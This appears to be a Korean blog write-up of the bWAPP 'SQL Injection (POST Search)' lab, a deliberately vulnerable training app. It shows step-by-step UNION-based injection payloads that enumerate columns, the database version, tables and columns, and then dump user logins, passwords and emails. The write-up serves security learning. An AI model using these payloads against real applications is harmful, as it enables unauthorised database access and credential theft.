bWAPP 14. SQL Injection (POST Search)
SQL Injection (POST Search)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여
데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.
SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법
Post 방식을 사용하기 때문에, Burp Suite를 사용하여 진행한다.
title과 action 변수가 존재하는 것을 확인.
[ 공격 가능 확인 ]
입력 값 : '
'입력시에 문법 오류가 발생하는 것을 확인했다.
title에서 문법에러가 나오는지 action에서 문법오류가나오는지 확인한 결과
title에서 문법에러가 나오는 것을 확인했다.
[ 모두 참인 구문 입력 ]
결과 값 : ' or 1=1#
참으로만드는 SQL 구문을 입력 시, 리스트가 출력된다.
[ 컬럼 수 확인 ]
결과 값 : ' UNION SELECT ALL 1#
' UNION SELECT ALL 1, 2#
' UNION SELECT ALL 1, 2, 3#
' UNION SELECT ALL 1, 2, 3, 4#
' UNION SELECT ALL 1, 2, 3, 4, 5#
' UNION SELECT ALL 1, 2, 3, 4, 5, 6#
모두 에러가 낫다.
결과 값 : ' UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7#
7번째에는 성공하여서, 칼럼이 7개인것을 확인.
[ 데이터 베이스 버전 확인]
입력 값 : ' UNION SELECT ALL 1, @@version,3,4,5,6,7#
5.0.96-0ubuntu3 버전을 사용하고있는 것을 확인하였다.
[ 테이블 명 확인 ]
입력 값 : ' UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables#
테이블에서 사용하고 있는 테이블 명을 확인하였다.
[ users 테이블의 컬럼 명 확인 ]
입력 값 : ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
[ users 테이블의 일부 컬럼 중 내용 보기 ]
입력 값 : ' UNION SELECT ALL 1, id, login, password, email,6,7 from users#
저장된 비밀번호, id 정보, 이메일 정보가 나오고있다.
단계를 통하여,sql injcetion으로 계정정보를 추출했다.
'Web hacking' 카테고리의 다른 글
bWAPP 16. SQL Injection (AJAX JSON jQuery) (0) | 2022.02.10 |
---|---|
bWAPP 15. SQL Injection (POST Select) (0) | 2022.02.07 |
bWAPP 13. SQL Injection (GET/Select) (0) | 2022.02.06 |
bWAPP 12. SQL Injection (GET/Search) (0) | 2022.02.06 |
bWAPP 11. Server-Side Includes (SSI) Injection (0) | 2022.02.06 |